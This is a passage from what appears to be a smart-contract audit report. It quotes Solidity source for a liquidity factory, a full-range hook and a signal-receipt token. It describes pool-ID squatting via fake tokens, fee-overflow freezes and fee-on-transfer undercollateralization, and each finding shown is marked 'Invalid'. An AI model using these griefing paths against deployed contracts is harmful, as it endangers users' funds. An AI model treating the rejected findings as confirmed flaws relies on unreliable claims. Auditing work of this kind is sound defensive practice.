                coinRecipient: coinRecipient,
                baseRecipient: baseRecipient
            })
        );
        bytes32 id = pool.poolId();
        poolForId[id] = address(pool);
        isPool[address(pool)] = true;
        allPools.push(address(pool));
        emit PoolCreated(coin, base, address(pool), msg.sender, poolOwner, coinRecipient, baseRecipient, id);
```
⋯
#### Lines 52-72 — _Factory only validates decimals(); no ERC-20 interface check_

```
    function create(address coin, address base, address poolOwner, address coinRecipient, address baseRecipient)
        external
        returns (FullRangeERC20 pool)
    {
        if (IERC20Metadata(coin).decimals() > 18 || IERC20Metadata(base).decimals() > 18) revert InvalidInput();
        pool = hook.registerPool(
            FullRangeERC20.Config({
                creator: msg.sender,
                coin: coin,
                baseToken: base,
                owner: poolOwner,
                coinRecipient: coinRecipient,
                baseRecipient: baseRecipient
            })
        );
        bytes32 id = pool.poolId();
        poolForId[id] = address(pool);
        isPool[address(pool)] = true;
        allPools.push(address(pool));
        emit PoolCreated(coin, base, address(pool), msg.sender, poolOwner, coinRecipient, baseRecipient, id);
    }
```
### `Uploaded archive/packages/contracts/src/fullrange/FullRangeERC20.sol`
#### Lines 49-68 — _LP-token construction checks bytecode, distinct assets, creator, and recipients, but not ERC-20 behavior._ — _Constructor checks code.length only, not ERC-20 compliance_

```
    /// @notice Creates a market's LP token and binds mint/burn authority to the deploying hook.
    constructor(IPoolManager manager, address factory_, bytes32 id, Config memory config)
        ERC20("GlazeCorp LP", "GC LP")
        Ownable(config.owner)
    {
        if (
            config.creator == address(0) || config.coin.code.length == 0 || config.baseToken.code.length == 0
                || config.coin == config.baseToken || config.coinRecipient == address(0)
                || config.baseRecipient == address(0)
        ) revert InvalidInput();
        hook = msg.sender;
        factory = factory_;
        poolManager = manager;
        poolId = id;
        creator = config.creator;
        coin = config.coin;
        baseToken = config.baseToken;
        creatorCoinRecipient = config.coinRecipient;
        creatorBaseRecipient = config.baseRecipient;
    }
```
### `Uploaded archive/packages/contracts/src/fullrange/FullRange.sol` (2 locations)
#### Lines 152-161 — _The hook derives the sorted PoolId and deploys the LP token after only the factory-caller check._ — _registerPool permanently occupies PoolId slot once called_

```
    /// @notice Reserves one market and creates its LP token before the creator's first deposit.
    /// @dev Current V4 skips callbacks on hook self-calls, so registration is explicit instead of relying on beforeInitialize.
    function registerPool(FullRangeERC20.Config calldata config) external returns (FullRangeERC20 token) {
        if (msg.sender != factory) revert Unauthorized();
        PoolKey memory key = _key(config.coin, config.baseToken);
        bytes32 id = PoolId.unwrap(key.toId());
        if (address(poolInfo[id].liquidityToken) != address(0)) revert PoolAlreadyExists();
        token = new FullRangeERC20(poolManager, factory, id, config);
        poolInfo[id] = PoolInfo(token);
    }
```
⋯
#### Lines 365-411 — _Later liquidity settlement and fee custody invoke transferFrom/balanceOf and assume exact token behavior._

```
    function _unlockCallback(bytes calldata data) internal returns (bytes memory) {
        CallbackData memory callback = abi.decode(data, (CallbackData));
        bytes32 id = PoolId.unwrap(callback.key.toId());
        FullRangeERC20 token = _pool(id);
        (BalanceDelta delta, BalanceDelta fees) = poolManager.modifyLiquidity(callback.key, callback.params, "");
        if (fees.amount0() < 0 || fees.amount1() < 0) revert InvalidDelta();
        // V4's caller delta includes accrued fees. Separate them before settling LP principal.
        int256 principal0 = int256(delta.amount0()) - int256(fees.amount0());
        int256 principal1 = int256(delta.amount1()) - int256(fees.amount1());
        if (callback.params.liquidityDelta > 0
                ? (principal0 > 0 || principal1 > 0)
                : (principal0 < 0 || principal1 < 0)) {
            revert InvalidDelta();
        }
        OperationResult memory result = OperationResult(
            uint256(principal0 < 0 ? -principal0 : principal0),
            uint256(principal1 < 0 ? -principal1 : principal1),
            uint128(fees.amount0()),
            uint128(fees.amount1())
        );
        (uint256 coinFees, uint256 baseFees) = _unsort(token, result.fees0, result.fees1);
        _credit(id, token.coin(), coinFees, token.creatorCoinRecipient());
        _credit(id, token.baseToken(), baseFees, token.creatorBaseRecipient());
        _settleDelta(callback.key.currency0, principal0, callback.sender, callback.recipient);
        _settleDelta(callback.key.currency1, principal1, callback.sender, callback.recipient);
        _takeFees(callback.key.currency0, result.fees0);
        _takeFees(callback.key.currency1, result.fees1);
        return abi.encode(result);
    }

    function _settleDelta(Currency currency, int256 delta, address payer, address recipient) private {
        if (delta < 0) {
            uint256 amount = uint256(-delta);
            poolManager.sync(currency);
            IERC20(Currency.unwrap(currency)).safeTransferFrom(payer, address(poolManager), amount);
            if (poolManager.settle() != amount) revert InvalidDelta();
        } else if (delta > 0) {
            poolManager.take(currency, recipient, uint256(delta));
        }
    }

    function _takeFees(Currency currency, uint256 amount) private {
        if (amount == 0) return;
        IERC20 token = IERC20(Currency.unwrap(currency));
        uint256 beforeBalance = token.balanceOf(address(this));
        poolManager.take(currency, address(this), amount);
        if (token.balanceOf(address(this)) != beforeBalance + amount) revert InvalidDelta();
```
## Description

`FullRangeFactory.create` admits assets after only a `decimals()` range check, then publishes the resulting market through `poolForId`, `isPool`, and `allPools`. `registerPool` computes the PoolId and rejects subsequent registrations once `poolInfo[id].liquidityToken` is set, while `FullRangeERC20` only requires that each asset has deployed bytecode and satisfies address-level checks. Consequently, a contract implementing a stub `decimals()` function but lacking ERC-20 operations can be registered as an asset despite being unusable by subsequent liquidity operations. Those operations invoke `safeTransferFrom` during settlement and `balanceOf` while taking fees, and additionally require the settled amount and fee balance change to be exact. Admission should therefore restrict registered assets to tokens whose transfer, allowance, and balance semantics are compatible with these settlement invariants before reserving and publishing the market.
## Root cause

Token admission in `create` and LP-token construction validates only `decimals()` and deployed bytecode/address fields rather than the ERC-20 operations and exact settlement behavior used by the liquidity flow.
## Impact

A permissionless caller can create and publish an unusable market, causing seeding or later liquidity operations involving it to revert. Because the corresponding PoolId is retained after registration, the caller can prevent a functional market with that identity from registering, while integrators enumerating the canonical registry can encounter invalid entries and localized liveness failures.

---

# Unbounded accrued fees can permanently freeze LP exits
**#303402**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/fullrange/FullRange.sol` (3 locations)
#### Lines 210-245 — _Both removal and collection invoke the hook's liquidity-modification path._ — _LP removal performs the V4 liquidity modification before burning shares and applying the output checks._ — _Permissionless fee collection performs a zero-liquidity V4 modification._

```
    /// @notice Redeems only the caller's LP shares and pays their proportional principal.
    function removeLiquidity(RemoveLiquidityParams calldata params)
        external
        nonReentrant
        returns (uint256 amount0, uint256 amount1)
    {
        PoolKey memory key =
            PoolKey(params.currency0, params.currency1, params.fee, TICK_SPACING, IHooks(address(this)));
        bytes32 id = PoolId.unwrap(key.toId());
        FullRangeERC20 token = _pool(id);
        if (!initialized[id] || params.deadline < block.timestamp || params.liquidity == 0) revert InvalidInput();
        _checkRecipient(params.to, token);
        if (params.liquidity > token.balanceOf(msg.sender)) revert InvalidInput();
        uint128 liquidityToRemove = _liquidityForShares(id, params.liquidity);
        OperationResult memory result = modifyLiquidity(
            key,
            ModifyLiquidityParams(TICK_LOWER, TICK_UPPER, -int256(uint256(liquidityToRemove)), bytes32(0)),
            params.to
        );
        if (result.amount0 < params.amount0Min || result.amount1 < params.amount1Min) revert Slippage();
        token.burn(msg.sender, params.liquidity);
        (uint256 c, uint256 b) = _unsort(token, result.amount0, result.amount1);
        emit Withdrawn(id, msg.sender, params.to, c, b, params.liquidity);
        return (result.amount0, result.amount1);
    }

    /// @notice Collects accrued position fees into beneficiary credits without compounding liquidity.
    /// @dev Skips a poke when neither currency has a whole raw fee unit to collect. V4 still rounds down
    ///      each currency's fees on meaningful collections and liquidity changes, losing less than one raw
    ///      unit per currency per position update. This can be economically material for low-decimal tokens.
    function collect(bytes32 id) external nonReentrant returns (uint256 coinFees, uint256 baseFees) {
        if (!initialized[id]) revert InvalidInput();
        if (!_hasCollectibleFees(id)) return (0, 0);
        OperationResult memory result =
            modifyLiquidity(poolKey(id), ModifyLiquidityParams(TICK_LOWER, TICK_UPPER, 0, bytes32(0)), address(0));
        return _unsort(_pool(id), result.fees0, result.fees1);
```
⋯
#### Lines 240-246 — _collect() shares the same modifyLiquidity callback path and cannot realize fees once the int128 boundary is exceeded._

```
    function collect(bytes32 id) external nonReentrant returns (uint256 coinFees, uint256 baseFees) {
        if (!initialized[id]) revert InvalidInput();
        if (!_hasCollectibleFees(id)) return (0, 0);
        OperationResult memory result =
            modifyLiquidity(poolKey(id), ModifyLiquidityParams(TICK_LOWER, TICK_UPPER, 0, bytes32(0)), address(0));
        return _unsort(_pool(id), result.fees0, result.fees1);
    }
```
⋯
#### Lines 365-393 — __unlockCallback relies on V4's int128-bounded BalanceDelta fee accounting with no fee-realization ceiling or mitigation._ — _The callback consumes the PoolManager fee result and cannot proceed if the dependency's conversion reverts._

```
    function _unlockCallback(bytes calldata data) internal returns (bytes memory) {
        CallbackData memory callback = abi.decode(data, (CallbackData));
        bytes32 id = PoolId.unwrap(callback.key.toId());
        FullRangeERC20 token = _pool(id);
        (BalanceDelta delta, BalanceDelta fees) = poolManager.modifyLiquidity(callback.key, callback.params, "");
        if (fees.amount0() < 0 || fees.amount1() < 0) revert InvalidDelta();
        // V4's caller delta includes accrued fees. Separate them before settling LP principal.
        int256 principal0 = int256(delta.amount0()) - int256(fees.amount0());
        int256 principal1 = int256(delta.amount1()) - int256(fees.amount1());
        if (callback.params.liquidityDelta > 0
                ? (principal0 > 0 || principal1 > 0)
                : (principal0 < 0 || principal1 < 0)) {
            revert InvalidDelta();
        }
        OperationResult memory result = OperationResult(
            uint256(principal0 < 0 ? -principal0 : principal0),
            uint256(principal1 < 0 ? -principal1 : principal1),
            uint128(fees.amount0()),
            uint128(fees.amount1())
        );
        (uint256 coinFees, uint256 baseFees) = _unsort(token, result.fees0, result.fees1);
        _credit(id, token.coin(), coinFees, token.creatorCoinRecipient());
        _credit(id, token.baseToken(), baseFees, token.creatorBaseRecipient());
        _settleDelta(callback.key.currency0, principal0, callback.sender, callback.recipient);
        _settleDelta(callback.key.currency1, principal1, callback.sender, callback.recipient);
        _takeFees(callback.key.currency0, result.fees0);
        _takeFees(callback.key.currency1, result.fees1);
        return abi.encode(result);
    }
```
## Description

The managed full-range position realizes accrued fees only through V4's `PoolManager.modifyLiquidity`, whose fee-delta return path is bounded by signed `int128` amounts. `FullRange` does not bound cumulative uncollected fees or provide a recovery path that can redeem principal without triggering this fee calculation. Both `collect` and `removeLiquidity` invoke `modifyLiquidity`, so an overflow in the dependency occurs before the hook can settle principal, return fees, or burn LP shares. Large swap fees or direct donations can cause the position's uncollected amount in either currency to exceed the signed range before a successful fee realization occurs. Subsequent liquidity modifications on that position then revert, including zero-liquidity collection calls and LP exit calls.
## Root cause

`FullRange` relies on V4's `int128`-bounded fee-delta accounting on every collection and withdrawal without capping accrued fees or implementing an overflow-safe recovery path.
## Impact

Once the fee amount exceeds V4's signed-delta range, LPs cannot collect fees or redeem the principal represented by their shares because the mandatory position modification reverts. A sufficiently funded party can induce this state through extreme fee accrual or donations, and the contract offers no alternate route to recover the affected market's assets.

---

# Non-exact backing tokens can undercollateralize signal receipts
**#303403**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/launch/SignalDeployer.sol`
#### Lines 10-20 — _The public deployer accepts any deployed IERC20 as SignalCoin backing._ — _The standalone helper accepts and forwards an arbitrary IERC20 address._ — _Permissionless deployment forwards the caller-selected IERC20 directly to SignalCoin._

```
    /// @notice Deploys a SignalCoin with the caller authorized to bind Resonance and fund another account's signal.
    /// @dev Canonical Launchpad setup renounces ownership after its optional creator signal grant.
    /// @param coin Coin deposited to create signal receipts.
    /// @param name Display name of the signal receipt token.
    /// @param symbol Ticker symbol of the signal receipt token.
    /// @return signalCoin Newly deployed SignalCoin.
    function deploy(IERC20 coin, string calldata name, string calldata symbol)
        external
        returns (SignalCoin signalCoin)
    {
        signalCoin = new SignalCoin(coin, name, symbol, msg.sender);
```
### `Uploaded archive/packages/contracts/src/core/SignalCoin.sol` (4 locations)
#### Lines 68-84 — _Constructor checks only that the underlying address is nonzero and has deployed code._ — _Constructor accepts any nonzero address with deployed bytecode and stores it as the backing token._ — _Constructor validates only nonzero address and deployed code for the backing token._

```
    /// @notice Creates a launch-derived signal receipt and assigns deployment-time setup ownership.
    /// @dev Uses 18 decimals and EIP-712 version `1` for ERC20Votes signatures. Requires a deployed Coin contract
    ///      and nonzero owner. Renouncing ownership before binding Resonance permanently prevents setup.
    /// @param coin_ Standard ERC-20 Coin token deposited and returned one-for-one in raw units.
    /// @param name_ Wallet-visible signal receipt name derived from the Coin launch name.
    /// @param symbol_ Wallet-visible signal receipt symbol derived from the Coin launch symbol.
    /// @param initialOwner Deployment-time owner responsible for Resonance binding and optional creator signal funding.
    constructor(IERC20 coin_, string memory name_, string memory symbol_, address initialOwner)
        ERC20(name_, symbol_)
        EIP712(name_, "1")
        Ownable(initialOwner)
    {
        if (address(coin_) == address(0) || address(coin_).code.length == 0) {
            revert ZeroAddress();
        }
        coin = coin_;
    }
```
⋯
#### Lines 192-202 — _Deposit path transfers the nominal amount and mints that same amount without measuring received balance._

```
    /// @dev Pulls Coin from the caller, mints equal sCoin to `account`, and self-delegates when no delegate is set.
    ///      The caller applies matching Resonance signal changes afterward in the same transaction.
    /// @param account sCoin recipient and potential self-delegate.
    /// @param amount Raw Coin units pulled and equal sCoin units minted.
    function _depositAndMint(address account, uint256 amount) private {
        coin.safeTransferFrom(msg.sender, address(this), amount);
        _mint(account, amount);

        // Activate voting checkpoints without a separate delegation transaction.
        if (delegates(account) == address(0)) _delegate(account, account);
    }
```
⋯
#### Lines 210-220 — _Removal records the Resonance change and burns/transfers the nominal amount._

```
    /// @dev Applies one canonical Resonance removal. The caller emits after aggregate custody changes complete.
    function _removeSignal(IResonance configuredResonance, address account, address strategy, uint256 amount) private {
        configuredResonance.removeSignalFor(account, strategy, amount);
    }

    /// @dev Burns sCoin and returns equal raw Coin to `account`; a failed transfer reverts the burn.
    /// @param account Account whose receipt is burned and that receives Coin.
    /// @param amount Raw sCoin units burned and equal Coin units transferred.
    function _burnAndWithdraw(address account, uint256 amount) private {
        _burn(account, amount);
        coin.safeTransfer(account, amount);
```
⋯
#### Lines 215-221 — _Withdrawal burns the nominal amount and transfers the same amount without balance-delta reconciliation._

```
    /// @dev Burns sCoin and returns equal raw Coin to `account`; a failed transfer reverts the burn.
    /// @param account Account whose receipt is burned and that receives Coin.
    /// @param amount Raw sCoin units burned and equal Coin units transferred.
    function _burnAndWithdraw(address account, uint256 amount) private {
        _burn(account, amount);
        coin.safeTransfer(account, amount);
    }
```
### `Uploaded archive/packages/contracts/src/launch/Launchpad.sol`
#### Lines 321-325 — _Canonical wiring passes the launch-created Coin into SignalDeployer._

```
    function _deployCoinAndSignal(LaunchRecord memory r, string calldata name, string calldata symbol) private {
        r.coin = address(coinDeployer.deploy(name, symbol, r.originalCreator, r.creatorNonce));
        r.fund = address(fundDeployer.deploy(r.coin));
        r.signalCoin =
            address(signalDeployer.deploy(IERC20(r.coin), string.concat("Signal ", name), string.concat("s", symbol)));
```
### `Uploaded archive/packages/contracts/test/minimal/utils/Tokens.sol`
#### Lines 28-50 — _Repository test token demonstrates a transfer that delivers value - fee to the recipient._

```
/// @title FeeOnTransferToken
/// @notice Deflationary token that skims a configurable fee on every non-mint transfer.
/// @dev Used only as fail-closed evidence. The protocol specifies standard, non-rebasing ERC-20s.
contract FeeOnTransferToken is MockERC20 {
    address public constant FEE_SINK = address(0xFEE5);

    uint256 public feeBps;

    constructor(uint8 decimals_) MockERC20("Fee On Transfer", "FOT", decimals_) { }

    function setFeeBps(uint256 newFeeBps) external {
        feeBps = newFeeBps;
    }

    function _update(address from, address to, uint256 value) internal override {
        if (from == address(0) || to == address(0) || feeBps == 0) {
            super._update(from, to, value);
            return;
        }

        uint256 fee = (value * feeBps) / 10_000;
        super._update(from, to, value - fee);
        if (fee != 0) super._update(from, FEE_SINK, fee);
```
### `Uploaded archive/packages/contracts/src/core/Resonance.sol`
#### Lines 222-256 — _Resonance validates only dependency address/code existence and accepts the supplied signalCoin identity._

```
    /// @notice Creates the allocator with immutable token, Fund, factory, and initial governance dependencies.
    /// @dev Every token, Fund, and factory dependency must be nonzero and have deployed code. OpenZeppelin `Ownable`
    ///      rejects a zero `initialOwner`; later owner transfers take effect immediately. `initialSignalManager` may be any
    ///      wallet or zero. The shared factories derive authority from this calling Resonance and retain no binding
    ///      state; SignalCoin and ResonanceRouter are bound separately during canonical Launchpad assembly.
    /// @param signalCoin_ Non-transferable signal receipt and sole signal coordinator.
    /// @param usdg_ ERC-20 revenue token; canonical deployments use USDG with six decimals, which is not enforced.
    /// @param fund_ Treasury receiving the non-Bribe share of Auction payments.
    /// @param bribeFactory_ Shared stateless factory that deploys each Strategy's caller-controlled Bribe.
    /// @param auctionFactory_ Shared stateless factory for this Resonance's Auction and BribeRouter pairs.
    /// @param initialOwner Deployment-time governance address for the bounded administration surface.
    /// @param initialSignalManager Exclusive signal-adding wallet, or zero to begin with community signaling.
    constructor(
        IERC20 signalCoin_,
        IERC20 usdg_,
        address fund_,
        BribeFactory bribeFactory_,
        AuctionFactory auctionFactory_,
        address initialOwner,
        address initialSignalManager
    ) Ownable(initialOwner) {
        if (
            address(signalCoin_) == address(0) || address(usdg_) == address(0) || fund_ == address(0)
                || address(bribeFactory_) == address(0) || address(auctionFactory_) == address(0)
                || address(signalCoin_).code.length == 0 || address(usdg_).code.length == 0 || fund_.code.length == 0
                || address(bribeFactory_).code.length == 0 || address(auctionFactory_).code.length == 0
        ) revert ZeroAddress();

        signalCoin = signalCoin_;
        usdg = usdg_;
        fund = fund_;
        bribeFactory = bribeFactory_;
        auctionFactory = auctionFactory_;
        signalManager = initialSignalManager;
        bribeBps = initialSignalManager == address(0) ? DEFAULT_BRIBE_BPS : 0;
```
## Description

The permissionless `SignalDeployer` forwards a caller-selected `IERC20`, while the `SignalCoin` constructor checks only for a nonzero contract address. `_depositAndMint` treats a successful `safeTransferFrom` for `amount` as proof that exactly `amount` was escrowed, then mints that same nominal amount of receipts and associated signal weight. This is not valid for fee-on-transfer or other non-exact-transfer tokens, as illustrated by the repository's `FeeOnTransferToken`, which credits the recipient with `value - fee`. `_burnAndWithdraw` retains the same one-for-one nominal assumption when redeeming receipts, despite the escrow potentially holding less than the receipt supply. Restricting this deployment path to a known exact-transfer backing asset, or explicitly reconciling and enforcing balance deltas on custody operations, is necessary to preserve the receipt-backing invariant.
## Root cause

`SignalCoin` accepts arbitrary code-bearing backing contracts and accounts for requested transfer amounts rather than enforcing exact received and transferred token amounts.
## Impact

A standalone deployment using a non-exact backing token can create more `sCoin` and signal weight than the contract holds in escrow. Holders may receive less backing than their receipt balance represents or find redemption reverting once the escrow shortfall is reached, leaving the affected receipt positions unusable.
